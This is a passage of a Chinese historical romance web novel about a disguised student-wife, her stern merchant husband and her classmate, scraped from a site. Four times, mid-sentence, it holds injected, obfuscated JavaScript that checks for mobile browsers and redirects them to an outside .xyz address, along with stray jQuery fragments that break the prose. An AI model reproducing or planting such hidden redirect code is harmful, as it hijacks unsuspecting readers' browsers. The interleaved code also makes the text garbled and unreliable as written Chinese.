一段相处，秋棠约莫了解些这位主子的脾性，遂道：“那您略坐坐便回去，不好耽误太久，奴婢去着人备些茶点，不教您空手回去为难。” 季灵儿点头，发自肺腑道：“还是你思量周全，不愧是久跟在婆母身边的。” 秋棠去后，季灵儿独自倚在美人靠上思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379887|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量对策，要回去，但不能与云衡照面，思忖间，恰好见小厮从廊下经过，立刻招呼他上前。 “你去前厅，就说传大爷意思，请云家少爷即刻到书房一叙。” 堂屋内众人坐定，唯独不见季灵儿，老夫人蹙眉问起，留在原地的玉秀圆道：“少夫人说要为贵客们煮茶备点心。” 老夫人闻言颔首，云家老太太亦露出赞许之色，道：“亲家有福气，娶得如此贤惠的孙媳妇。” 老夫人笑说哪里，又着意夸几句同来的两位云家媳妇，最后目光落在云衡身上：“常听宗劭夸衡哥聪颖，在一众弟子里头角峥嵘，日后定有大出息。” 云衡起身拱手：“老夫人过奖了，晚辈愚钝，多亏师父栽培。” 云家老太太接过话道：“是你家宗劭教导有方，这不一听说我们要来府上，眼巴巴地备了薄礼跟来要同他师父请安呢。” 正说着，得了季灵儿命的小厮来请云衡。 季灵儿在暗处瞧见云衡往书房方向走远，起身整理衣裙重回厅堂，秋棠端着红漆托盘跟上。 * 书房里，秦劭正同姚怀义对坐下棋。 “大当家。” 姚怀义甫一开口，秦劭抬手制止，道：“无外人，晋通兄不必拘礼。” 晋通是姚怀义表字，他乃前任商行行老姚岱崇的嫡亲孙儿，秦劭与他自幼相识，一同学习经商之道，论私交算得上莫逆，论辈分秦劭尚得唤他师兄。 素日在人前恭敬唤秦劭大当家，一则出于商行规矩，二则私心想为秦劭撑场面，好教人明白，以他为首的姚家都全力辅佐大当家，旁人别妄存不敬不服之心。 兄弟心思彼此不言自明，姚怀义遂收起客套，改换称呼道：“宗劭，你可知边永昌竟暗中接触知府师爷，频频密会？” 他说的又惊又气，秦劭听完不过淡然落下一子，顺带围收对方三子。 “果真上钩了。” 姚怀义对他知晓此事不算太意外，捶腿恼恨自己落错一字失了先机，没好气问：“你既然知晓，打算如何做？” “我让秦禄盯着呢，会见机行事。”秦劭轻描淡写，目光冷得骇人。 边永昌想夺权无可厚非，可他不该打秦家的主意。 起初秦劭只想给他一个教训，让他知难而退便罢，田壮闹事风波后，他改了主意。 姚怀义不知内情，只瞧他脸色愈发沉凝，便知此事难以善终，“得，有任何需要我和姚家出力的地方，尽管开口。” 也是这时，门外响起阿吉阻拦云衡的声音。 云衡对此十分诧异：“是师父传话唤我来的。” 阿吉纳罕，大爷与姚爷下棋一向是不分胜负不罢休的，哪里会中途会见他人，何况贴身的随从都在，谁得令传的话？ 故而不肯放人，碍着对方是云家少爷，恭敬道：“云少爷稍等，小的进去通禀。” 阿吉方转身，未至门前，听得里间传来秦劭的声音：“让他进来。” 这下轮到姚怀义愣了，不依道：“不成啊，这棋局才刚开始。” 秦劭给了他一个定心的笑：“碍不着咱下棋。” 24. 找训 云衡入内问了安，放下礼，秦劭才抬眼看过来。 “年休期间可有温故所学？” 云衡垂首答道：“不敢懈怠。” 秦劭摩挲棋子，道：“听闻你去家中茶庄历练，谈谈心得罢。” 对弈的姚怀义不可置信地看向秦劭，继而朝云衡投去同情的目光。 云衡想到师父会问功课，没承想连个缓冲都没有，懵了一瞬，问：“敢问师父，从何处谈起。” “随你。” 秦劭落子有一会儿，说罢叩响棋盘提醒姚怀义回神：“到你了。” 云衡定了定神，就自家的几种茶叶经销情况展开，谈了当下行情风向，风险，及他拟出的应对策略。 条理清晰，中间因紧张磕绊几次，觑见师父神色如常又稳住心神继续，想法虽有稚嫩之处，但独到不俗，可见是用心考量过的。 姚怀义间歇分神听来两耳朵，忍不住在心中赞赏，怎料秦劭听罢神色严肃，顿住落子的动作，道：“你拿我布置的课业应付？” 休假前，秦劭让弟子三五成组，任意选取一类货品，搜集市面上各家各品阶比对，归整为一份详尽论述。 云衡的确有意选茶叶做文章，但同组之人意见不定，是以并未完全定下方向，方才师父问到茶庄他便答了，压根没想过应付。 脊背一紧，忙拱手道：“弟子不敢。” 秦劭静看不语，似乎在等一个更走心的解释。 云衡只好道：“师父布置的课业，弟子选的并非茶叶。” “当真？” “是。” “自己找地方坐。”秦劭颔首，回头在棋盘上落下一子。 想是过了此关，云衡悄悄松一口气，寻了个角落处坐下，暗自琢磨师父唤他来的缘由。 就是问问功课，然后将他晾在这里？ 阿吉进来换茶，贴心地给云衡端上一盏，他笔直端坐，默默观察茶汤颜色，叶片状态，嗅香气，生怕师父突然借此拷问。 对弈逐渐进入白热，棋盘上的厮杀愈发紧凑，姚怀义落了下风，挠着下巴思量自何处落子杀出重围。 秦劭不催促，端起茶盏轻啜一口，重新看向云衡，问的却不是茶。 “与你同组是谁？” 云衡颇为意外，如实道：“季凌，林起，曹知祥。” 说完他仿佛看见师父露出一丝笑意，转瞬即逝。 “选的何物？”秦劭问。 云衡答不出。 秦劭挑眉，“还没想好？” 抓耳挠腮的秦怀义条件反射抬头，发现对方并未看自己，继续对着棋局苦思。 云衡垂首掩饰窘色，答：“弟子惭愧，确实未商定完全。” “再有几日可要开课了。”秦劭好心提醒。 云衡不好解释因为联系不上小师弟，才导致进度耽搁，含糊应声“是”。 秦怀义那厢终于选定了落子的地方，顿时眼睛亮起，啪地一拍大腿，“哎，这步好！” 秦劭淡淡瞥一眼，未作评价，不假思索跟着落子。 秦怀义原以为捡到的漏洞瞬间变为陷阱，难以置信地盯着棋盘，又瞪向秦劭：“你早等着我落在这里呢？” 秦劭但笑不语，实则无论对方落在何处，皆能顺势而为，他清楚自己布的局，更清楚对方落子习惯，秦怀义注定落入彀中。 输了棋局的秦怀义不服，嚷嚷着要再战一局讨回颜面，还把责任推到云衡身上：“你二人说话扰我分心，大过年的没什么要事别拖着人家孩子教训了，咱俩清清静静下棋，也让人尽兴玩儿去。” 秦劭不与输急了乱扣帽子的人理论，瞧着时辰差不多，从袖中掏出一张新岁红封递予云衡，放他回去。 云衡如释重负出了书房，秦怀义从窗口瞧着少年瞬间松垮的肩膀，嗤笑眼前人：“看看给孩子吓得，你对弟子都如此严厉吗？” 他不过一句调侃，秦劭却蹙了眉，很认真地反问：“有吗？” “我要是你弟子，定然出了门就骂你一通。”秦怀义白他一眼，将棋盘上的残局收拢，问出了云衡百思不得其解的问题：“不过你把人叫来，就为了摆摆为人师者的威风？” “......并非我叫他来的。” 姚怀义咋舌：“你这徒弟是个傻的，上赶着找训。” ... 季灵儿庆幸云家老太太没应邀留下用午膳，辞别时再度惊险避开云衡，匆匆回自家院子。 谈话间她也听出来了，二房云氏是云衡亲姑母，两位妇人是云家两房夫人，随老太太来给小姑子撑场面。 年长那位是云衡母亲，云家当家主母，同方淑凤的温和仁慈不同，言谈间分寸拿捏妥当，端着笑脸四两拨千斤说几句，分明是指摘秦家给云氏受委屈，偏叫人无从反驳，还得陪着笑脸应和。 云家门户不如秦姚两家，但就凭当家主母的气度与手段，便不容人小觑。 合着云衡亦是世家子弟，且是长房嫡出，从前竟骗她说小门小户不值一提，害她真以为得遇同道，不自觉亲近许多。 如今想来，商行弟子班个个非富即贵，为的是镀层金学成继承家业，哪是普通人能够进去的，她倚仗明尽师太通了富商门路蒙混过关，便轻信云衡同自己一样。 等年后再见面，必得敲他请一顿才解气。 那厢姚怀义得了清静后奋起直追，险胜秦劭一局，得意地缠着他战了一局又一局，直到秋棠来问大爷午膳在何处用。 他二人下棋到兴头，直接在书房布膳乃常事，不过秋棠前来，想必是少夫人意思，阿吉不敢自作主张，放她进去请示。 此局正战至关键处，照往常姚怀义定要争个胜负分明，这番爽快投了子，笑道：“是我不该，叫弟妹等急了。” 独身多年的旷夫难得有贤妻惦记温饱，他可不做煞风景之人。 况且自半炷香前，他便瞧见秦劭许多次漫不经心抬眸往窗外瞟，原先还好奇呢，如今总算明白，某些人面上镇定自若，心思早早飞去会佳人了。 秦劭踏入堂屋，便瞧见季灵儿单手托腮坐在圆桌前，百无聊赖地拨弄碗沿。 他净手落座，道：“下次不必等我。” 倒不是季灵儿想等，实是用膳前秋棠提醒，依规矩一定要先问过大爷，不好叫大爷回来空对残羹冷饭。 等都等了，季灵儿借势卖乖，道：“我愿意等着您。” 秦劭不语，抬手夹一筷鸡肉到她盘中，原本浅淡的笑意漫过眼底。 二人相对用膳时除了讨论菜色少说旁的话，直到停箸秦劭才开口发问：“你支云衡去书房的？” “嗯。” “为何不教他知道你是女子？” 季灵儿被问住了，原先女扮男装是怕先生不收，如今他都知晓了，没必要再瞒着旁人。 想来想去，唯有一种解释：“瞒习惯了，下意识躲开。” 又是习惯。 她每次找不到因由，便推在这两字上。 见秦劭默然，季灵儿担忧地看过去：“您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379888|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说露馅吧？” “没有，我问了他功课。”秦劭看着她，眼底情绪幽深，在等她反应。 季灵儿没听出来话中暗示，以为他还琢磨为何要隐瞒，想了想说：“现在揭穿要多出许多解释的麻烦。” 秦劭未置可否，按着拇指上的白玉扳指忖度须臾，淡淡道：“云衡说我留的课业你同他一组。” 课业？课业！全被替嫁耽误的，差点把这茬忘了。 季灵儿惊得一拍脑门，匆匆擦净嘴角站起身：“我想出去一趟。” 秦劭略一扬眉，点头道：“早去早回。” ... 云衡听门房通传有位自称季凌的少年求见，三两句应付过母亲，小跑出来，亲眼见到她又惊又喜：“你怎的找到这里来了？” 季灵儿大腿搭小腿，斜倚在石狮子上，嘴里叼着糖人，素青缎面的袄子，玉带将腰身束得纤细，青丝如男子一般盘在脑后，自有一番飒爽气度。 见他出来杏眸斜乜，拿开糖人语气阴阳道：“在吉安打听云家小少爷的名讳，不是什么难事。” 云衡脸上笑意瞬间僵住，干笑两声，挠着后脑勺赔礼：“抱歉，并非故意瞒你。” “没诚意。”季灵儿扭头不看他，将糖人转了个方向重新放回口中。 云衡追到她视线下，“我请你去如意楼吃镜糕，算是赔罪。” “只有镜糕？” “桂花糖芋苗，黄金千层酥......”云衡一口气报许多名字，样样是季灵儿爱吃的，“总之今日我请客，随你吃什么买什么。” 季灵儿瞥一眼他腰间荷包：“带够银子了么云少爷？” “足够足够，今日定让季公子尽兴。”云衡说着提起来掂几下，荷包里叮当作响，听起来颇有分量，怕她还不依，躬身作揖，故作姿态道：“不够便把小的抵上。” 季灵儿噗嗤一笑，跳下石狮子，同他说笑着朝街市走去。难得放晴的一日，暖阳照得人心头暖洋洋的，拉长两道欢脱的身影。 ... 回到秦家已过了晚膳时辰，回屋不见秦劭，秋棠说大爷用过晚膳去书房了。 季灵儿没多想，将带回来的点心留一份给他，剩下让秋棠拿去分，随后叫水沐浴。 在外疯野时候顾不得，泡在热水里才觉出一身疲惫，也后知后觉发现，今日出门吃喝，看戏，玩的不亦乐乎，竟把正经事忘了。 换上秋棠准备的杨桃色蝶纹寝衣出来，秦劭已端坐外间，捻着扳指看她。碍于忘掉课业这茬，季灵儿与他对视时心里一阵发虚。 秦劭没问课业进度，只道：“晚膳用了吗？” “用过了。”季灵儿忙捧着留好的点心凑到跟前，眉眼弯弯道：“还专门给您带了点心回来，不知道您爱吃什么，便挑几样我觉得好的。” 秦劭仅仅看一眼，“不回来用膳为何不遣人知会一声？” 白教他饿着肚子等了好一会儿。 季灵儿出门没有给人报备的习惯，是以兴头上顾不得什么时辰，讪讪道：“一时忘了，下次一定注意。” 秦劭：“商量的如何？” 季灵儿不敢说实话，敷衍道一句还成。 秦劭毫不留情戳破：“听着意思是没完成？” 季灵儿勾头“嗯”一声，小身板站得极规矩，很有犯错的自觉，全然忘了此刻并非在学堂。 她浑身氤氲着淡淡水汽，混着澡豆清香，发丝未干透，散落在肩头胸前，寝衣洇湿一片，朦胧透出内里的雪白峰峦。 25. 尽兴 秦劭目光和喉结一同烫住，起身拿过秋棠手中的葛巾，罩在她头顶，细致地擦拭揉搓。 季灵儿慌乱地眨眼，视线范围窄地只能看见他胸前衣襟。 过了良久，头顶传来声响：“明日还要出去？” 她小幅度点头。 “何时去，几时回来？”他问，擦拭动作未停。 许是少了视线相撞的紧张，季灵儿逐渐放松下来，回道：“午膳后出去，天黑前回来。” 上午她要贪觉。 秦劭擦过头顶，顺着青丝往下，两人之间的距离稍稍拉开，他垂眸的模样骤然闯入季灵儿视线，模样颇为认真。 稍一抬眼便四目相对，撞破季灵儿的注目。 充满磁性的声音比慌乱先一步抵达，“能保证天黑前回来？” 季灵儿眼睛一亮，连忙点头：“一定一定。” “万事当心。”秦劭收了目光，替她将发尾收拾妥当。 “谢谢先生！”季灵儿眼睛笑成月牙。 得了许可，又享受这番温柔待遇，作为答谢，重新捧起糕点给他尝。 秦劭没有用宵夜的习惯，怕扫小姑娘的兴致，终是捏起一块桂花糖芋苗吃下。 依旧甜的发齁。 “好吃吗？”季灵儿喜欢，格外期待别人回应。 “还成。” ... 翌日。 季灵儿同云衡约的西街口碰面，她到时云衡已经等在那里，手里举两个糖画，见她来笑嘻嘻递过一个：“特意选的小老虎，你可喜欢？” “为何是老虎？”季灵儿疑惑。 “你的生肖。”云衡道。 季灵儿接过细看，老虎纵身跃起，前爪大张作捕食状，看起来十分凶猛，尾巴处却卷着一个小元宝，瞬间破坏了威风形象。 刚想笑老虎滑稽，骤然回过神，嗔怪瞪他：“你取笑我！” “冤枉！元宝寓意财源，我诚心祝愿你财运亨通。” 漂亮话说的甚合意，季灵儿哼一声作罢，再看他手里是只憨态可掬的小牛，远不如她的老虎威风，心下得意，勉强放他一马。 甜味沁入心脾，嘴角不自觉扬起。 云衡瞧她欢喜，眼角微弯，痴痴跟着笑。 这模样落季灵儿眼中却是浑身冒傻气，觉得更像一只笨牛。 一只模样周正的笨牛。 “昨日出门急，忘了给你。”云衡说着从怀中掏出一只小木雕，同样是老虎，形状与她手中的糖画相似，威风凛凛立在掌心，刀工细腻到几乎能数清老虎鬃毛。 那日他去清心庵便是为了送这个的，可惜未寻到人，还以为要过了年节才能交到她手上，万幸被她先寻到自己，遂开口补上祝贺。 “季凌，昭岁如愿，长乐未央。” “多谢云师兄，同祝同喜。”季灵儿拱手朝他揖个回礼，再度看向木雕赞叹：“好精细的手艺，哪家铺子做的？” 被夸赞的云衡耳尖微热，澄澈明亮的眸子因映着她的笑颜而愈发耀眼，摇头道：“不是铺子里买的，是我自己刻的。” “云少爷真真是深藏不漏。”季灵儿笑着捶在他肩上，倏而瞧见他染色的耳根，怔了怔，笑意更甚：“怎得夸你一句反倒害羞起来了？” 云衡耳尖愈发红透，将木雕往她手里一塞，躲开她的视线道：“还不是你一口一个云少爷臊的。” 季灵儿看看木雕又看看他，道：“想要什么回礼？” 云衡笑得温和，摇摇头，“不打紧，你欢喜便好。” “来而不往非礼也，”季灵儿眼睛滴溜溜环顾一周，抬步去摊贩那里讨几根红色丝线，灵巧地编两个小小的平安结，又从荷包中取一枚铜钱穿上，做成简略手绳送给他。 “凑合算我一份心意，师兄莫嫌弃。” “只要你给的我都喜欢。”云衡摊开掌心接过，平安结入手轻若无物，他心中反倒沉甸甸的。 互赠过礼物，两人终于聊到正事。 季灵儿提议：“你帮着家里茶庄管过事，林起师兄家中也有茶叶营生，行情相对清楚，不如就从茶叶入手。” “不成。”云衡断然否决。 季灵儿不解：“为何？” 云衡同她讲了昨日在秦劭书房的遭遇。 “......先生真是——”尽管人不在旁边，季灵儿依旧只敢把卑“卑鄙”二字放心里说，“这不明摆着刁难人嘛！” 云衡没附和，只叹道：“先生向来不允咱们投机取巧。” 季灵儿撇撇嘴，忿忿道：“这算哪门子投机取巧，分明是没事找事。” “无妨，茶叶不成咱再换其他的，我昨日回去后已给两位师兄送去书信，约他们明日到茶肆详谈。” “明日？那我们今日做什么？”她今日可是专程为课业出来的。 云衡：“想去冰嬉吗？” 季灵儿杏眸乍亮，随即迟疑道：“眼下天虽冷，未到结冰的地步，何处有冰面？” 云衡一扬下巴，神秘兮兮道：“随我来，保准让你玩尽兴。” 云衡带她来到自家名下一处僻静庄子，园中赫然铺着光可鉴人的冰场，似一块巨大的玉璧嵌在枯木残雪之间。 季灵儿试着踩了踩，冰面坚实光滑，雀跃地在冰面上转了个圈。 “你未免太有本事了，失敬失敬。” 云衡面上尽是藏不住的得意，取来早备好的两双鹿皮靴，鞋底嵌着薄钢片，递给她尺码小的那双，自己蹲身换上另一双。 换好鞋，云衡先滑入冰场，起初只是安静滑行，逐渐加速，衣袂翻飞如鹤翼，身姿矫若游龙。 忽一个腾跃，竟在空中转了两圈，少年郎玉冠高束，墨发随风扬成弧线，凌空的一回眸笑中带傲，如金光洒落冰面，尽显璀璨风华。 惊鸿一瞥后稳稳落地，蜿蜒溜回季灵儿身前，眼中尽是得意，夹杂几分不露声色的期待。 季灵儿收了看呆的目光，拊掌欢呼：“厉害呀云少爷！” 方才还满面春风的少年垮下脸：“再唤我云少爷我可要恼了。” 季灵儿歪头看他：“恼一个我瞧瞧。” 云衡哼一声扭身往远处滑走，留给她一个背影。 身后传来咯咯的笑声。 季灵儿心说他恼起来还真像只倔强的牛犊。 扬声喊道：“你再跑远我可要走了。” 云衡知她未尽兴不会罢休，依旧停下脚步折回去。 “把你方才那招教我。”她笑着道。 湖面映着天光，映得她眼底一片清亮，云衡不舍挪开又不敢久看。 “没问题，可你不许再唤我云少爷。” 季灵儿嫣然一笑，“成交。” 云衡笑得得意，滑过去朝她伸出手：“方才那招叫燕回旋，需得重心与力道分寸不错配合，不是一般能学来的，你先练熟滑行，慢慢我再教你。” “别小看人，我可是在冰面上长大的。” 季灵儿说着便猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379889|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一蹬，准备同他展示一招拿手的燕子掠水，怎料腿脚不听使唤，直咧咧摔个四脚朝天，云衡伸手时已然来不及。 冰面结实，她亦摔得结结实实，精神缓过来，屁.股仍疼得发麻，抬头见云衡唇角压得死紧，一副想笑又不敢笑的模样。 咬唇瞪他：“想笑就笑呗，我没那么小气。” “不笑不笑，”云衡嘴上如此说，嘴角就差弯到耳朵根了，抓空的手重新递到她眼前，“我拉你。” 季灵儿只把手搁在他小臂上，借力站起。 云衡握拳紧了紧手臂力道，“你长久不滑难免生疏，且扶着我适应一会儿再脱手。” 冰面如镜，倒映着二人身影，季灵儿任他带着，一圈又一圈滑行，渐渐找回感觉，松开手独自向前滑行。 没有做任何花式动作，只是尽情向前滑行，想象着自己正驰骋在无边无际的冰原上，冰面在脚下延伸至天际，风声过耳，天地开阔。 风吹过的时候，枯枝上的积雪簌簌落下，她张开双臂，如同一只展翅的雪雁。 不远处传来云衡的声音，却被风揉碎在耳畔，听不真切。 他在问她是否开心，她没听见，但空寂里传回来的银铃笑声已经是最好的回答。 季灵儿出生在关外，自小在冰天雪地里打滚儿，后来随商队辗转入关，时常会想念冰河雪原，和那些在冰面上自在嬉戏的日子。 她说过一次，云衡就记下了，特意制造这处僻静冰湖，替她找回儿时畅快。 季灵儿玩的尽兴，没忘了赶在天黑前回秦府，分别时云衡递给她一瓶药膏：“此膏药效不错，你拿回去涂在摔疼的地方。” 方才二人在冰上嬉闹时又摔了两次，季灵儿疼得顾不上嘴硬，道谢接过。 “真不用我送你？”云衡看着她深一脚浅一脚走路，心里颇放心不下。 让他送等同自揭身份，季灵儿佯装潇洒地挥挥手。 身上其他几处还好，三番受创的屁.股最不好受，走路姿势滑稽，落座更是困难，晚膳没用两口，身子扭来扭去十数次。 秦劭轻而易举看出端倪，“你不舒服？” “没有。”季灵儿咬着牙坐直，眉头拧成一团，脸色比被逼着吃药时还难看。 秦劭搁箸抬眼，对秋棠道：“带少夫人去内室瞧瞧。” 季灵儿慌忙摆手：“不必了，我只是回来路上摔了一跤，缓缓就好。” 坐立难安了哪会是摔一跤如此简单，这套说辞显然不足以蒙混过关，秦劭眸光沉下来，只给她两个选项：“让她瞧还是让我瞧？” 季灵儿自是羞于给他瞧自己身体的，乖乖带着秋棠去内室。 疼到这程度，她不必想也知摔得不轻，趴在榻上试图笼络秋棠：“不管什么样都别同大爷说，我会好好谢你的。” 秋棠并不敢替她瞒，劝道：“少夫人，大爷是关心您。” 季灵儿了然此路不通，将头蒙进被褥里，默默思念玉秀。 撩开里衣，褪去亵裤，入眼一片青紫，瘀痕漫过雪白肌肤，触手便是一声倒抽冷气的痛呼。 秋棠看着便心疼：“您怎得伤成这样？” “不小心摔了一跤。” “我去给您拿药。” “不必，我外衣夹层中有。” 秋棠取来替她涂抹，手上动作尽量轻柔，还是惹得季灵儿皱眉吸气，紧紧攥着被褥。 秦劭负手立在帘外，听着里间断续又隐忍的痛呼，没忍住掀帘迈进去。 26. 先生 季灵儿听见动静作势扯绣被往里缩，奈何翻身急了碰到伤处，眼泪夺眶而出。 秦劭心中一紧，箭步冲上前按住她肩膀，瞧着她泪光盈盈还要躲，哄慰道：“伤处不好请郎中，我瞧瞧可有伤到筋骨。” “那你只许看，不许碰——”警告的话音未落，粗粝的指尖已探上她光滑的肌肤，怪异的感觉直冲脑门，分不清是羞还是痛，呼叫地很大声。 “不碰怎知你尾骨错位了。”秦劭又恼又无奈，尽力解释让她放平静，自己却难以压制心跳的紊乱。 她每次挣扎，雪球随之轻颤，指腹弹软的触感令他不由自主收紧手指，反惹来一声娇呼。 季灵儿顾不得称呼，急喘着气一阵叱骂：“你实在欺人太甚！你乘虚而入......” “莫再动了，很快便好。”这声叮嘱冷得浸过寒冰似的，声音不高，更像自言自语。 秦劭半跪于榻沿，一手撑在季灵儿腰侧，另一只手顺着她颤抖的脊背缓缓向下，指节抵住错位的尾骨，低声道：“忍着些。” 说着掌心骤然发力推按，随她痛呼声一道传来的，是手臂上的痛感。 她咬住他的手臂转移注意，夹杂报复的私心，力道简直能啃掉一块血肉。 秦劭闷哼，知晓她痛极，将手臂送得更深些，任她啃咬泄愤，疼痛恰好使他忽视掌下细腻的触感，全部心神凝聚于指节，仔细调整错位之处。 豆大的泪珠噼啪砸在他手背，混着断续的抽泣。 他低声安抚：“后面只让秋棠为你敷药，我不看了，也不碰了。” “你看过也碰过，现在假惺惺说这些！”季灵儿松了口，脸颊绯红一片，眼眶里水汽氤氲，似有满腔委屈欲往外溢。 这副模样令秦劭喉咙发紧，卡住冒到嘴边的那句“强词夺理”，她是他的妻，又为医她伤势，此番接触实在寻常。 偏她空有妻子名分，师徒情谊夹着纲常伦理横亘在两人之间，他无法理直气壮辩解。 心绪复杂得难以自持，视线不敢再停留，垂落在渗出血珠的齿痕上。 照顾的方式有多种，兴许一开始便不该纵着她隐瞒身份留在身边。 片刻寂静里，唯听胸膛下的心跳震颤。 随后收拢神色起身，语气清浅：“你好生养伤，我近日会宿在厢房。” 季灵儿目睹挺直的背影消失，空余帘布轻晃，莫名生出几分烦躁，尾骨上似还残留着他掌心温度，发烫，作痛。 “我说错了吗！”她怄气自语。 秋棠以为是问话，斟酌应道：“您伤着，大爷会体谅的。” 季灵儿：...... 谁要他体谅，她才没错！他说尊重她，可这般不经同意碰她算哪门子尊重？ 越想越气，半撑着身子道：“收拾他的衣物铺盖，现在便送厢房去。” “少夫人。”秋棠张口欲劝。 “你方才听见了，是他自己的意思。” 秦劭尚在外间未曾离开，听见里间气急败坏的吩咐，眸色倏然暗沉，少顷，勾着一抹释然的笑意，缓步跨过门槛。 恰轮正院派来的人值夜，分房睡的消息次日一早传到老夫人耳中，问及因由，传话的丫鬟未近前侍奉，隐约听得因少夫人隐私之处受伤闹起的争端，依此回了老夫人的问。 老夫人显然会错意，想劝和的心思尴尬搁浅。 季灵儿敷过两次药，歇了半日，疼痛稍缓，惦记约了几位师兄商量课业，改扮男子装束出门。 书房里，秦劭身靠椅背，手肘斜支，指节抵着太阳穴轻按，双眸微阖，肉眼可见地疲惫凝在眉心。 一名着装干练的年轻男子肃立在书案另一侧，见状止了禀报。 秦劭似有所觉，抬眼示意对方继续。 秦禄道：“果然如您所料，边永昌承诺知府那边一月内让商行出现重大纰漏，届时知府以维.稳名义介入，暂时接管商行，再推他上位。” “在哪上头下的功夫？” “盐引，边永昌打着商行旗号大肆倒卖盐引，且数量众多，我暗中查获一份。” 秦劭看了眼他递上来的盐引，笑容骤然阴寒：“边伯真是下了狠功夫，竟连私造盐引这么拙劣的手段使出来了。” 盐引乃官府给的取盐凭证，伪造加贩卖，一旦事发，岂是商行能担待的？ 汪知府分明是要一石二鸟，既得钱财，又能借此控制商行。 秦禄了然事态严重性，请示道：“是否要提前阻止？” 秦劭想摇头，稍一动牵动太阳穴处的神经作痛，缓一口气，道：“让他们放手去做，你只需确保掌握他们所有往来证据。” 秦禄前脚领命离开，阿吉来报少夫人换男装出门了，问是否遣人跟随。 秦劭恍恍地望着炉中烧红的炭块，心知她去寻云衡，不会有大碍，遂道：“不必，由她去。” 阿吉应下，迟迟未撤出。 秦劭又阖了眼，懒懒道：“有话便说。” 阿吉瞧出他难受，很是担心，厢房未铺设地龙，新烧得炭火短时难挡冬日夜寒，大爷纵使再体魄强健，睡惯了暖室骤然迁出，也难受得住。 遂试探问：“需要为您延请郎中吗？” “不必，我歇会儿便好。”秦劭说，顿了顿，补充：“也不必让少夫人知道。” 阿吉垂首应是，出去便将此事添油加醋告知秋棠。 傍晚季灵儿回府，秋棠瞅准时机在旁敲边鼓：“奴婢听说大爷昨夜宿在偏厢受了寒，今日撑着发热处理事务呢。” “请郎中了吗？” “大爷不让请。”秋棠瞧她脸色如常，多添一句：“兴许怕走漏消息惹老夫人和大夫人担心，要不您去瞧瞧？” “我可不会瞧病。”季灵儿摆摆手。 秋棠面露难色，改劝：“偏厢冷的紧，大爷又病着，不如......” 话未说完被季灵儿截断：“那便多添炭盆，再请郎中来，大爷身旁总不会缺人照顾，我乏了。” 话到这份上，秋棠再说不得什么。 郎中来看诊，阿吉只道是少夫人着意请的，其他一概未提。 秦劭承了这份“惦念”，服药睡下，过了头一夜，已能适应宿在厢房，精神恢复不少，商行诸事繁杂，他重回成亲前的状态，整日天不亮出门，深夜方归，回来便歇在厢房，不曾踏足正屋半步。 季灵儿起初还惦记看他几时回来，病情如何，渐渐便懒得理会，开课在即，她忙着赶工课业，无暇在乎其他，只会在被课业扰地头昏脑涨时想起秦劭。 暗暗编排许多句他的不是。 这日秦劭亥时回来，瞧见正屋灯火通明，窗纸上晃动着小姑娘伏案的剪影，不觉驻足看了片刻。 阿吉深谙主子心思，故意道：“都这时辰， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379890|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少夫人仍在用功，真是辛苦。” “瞌睡打的脑袋都要压到案上了，还一味强撑，”秦劭不咸不淡说了句，目光没在晃动的光影停太久，抬步走近，方到门边，听见里头传来说话声。 起先是秋棠的规劝：“少夫人，天色不早，您明日再写罢。” “后日一早要向扒皮大爷交差，如何能耽搁，你且去歇，不必守着我。”季灵儿说完啪啪拍打脸颊，努力使自己清醒。 几日下来，秋棠对她口中的“扒皮大爷”不再陌生，不知她上学堂一事，只当是大爷给少夫人布置的差事。 便说：“您这番废寝忘食，大爷知晓定然也心疼，不会过分苛责的。” “得了吧，他哪里有心可疼。”季灵儿嗤笑，说完催着秋棠去睡，独自伏案奋笔。 秋棠无奈退出屋子，正撞上满脸黑线的大爷。 尽管椅上铺了软垫，久坐尾骨仍会不适，季灵儿索性站起来写，一笔一划带着咬牙切齿的狠劲。 又一张写废的纸被揉成团丢出去，翻着跟斗往远处滚，撞上阔步跨入的墨蓝缎锦瑞兽靴。 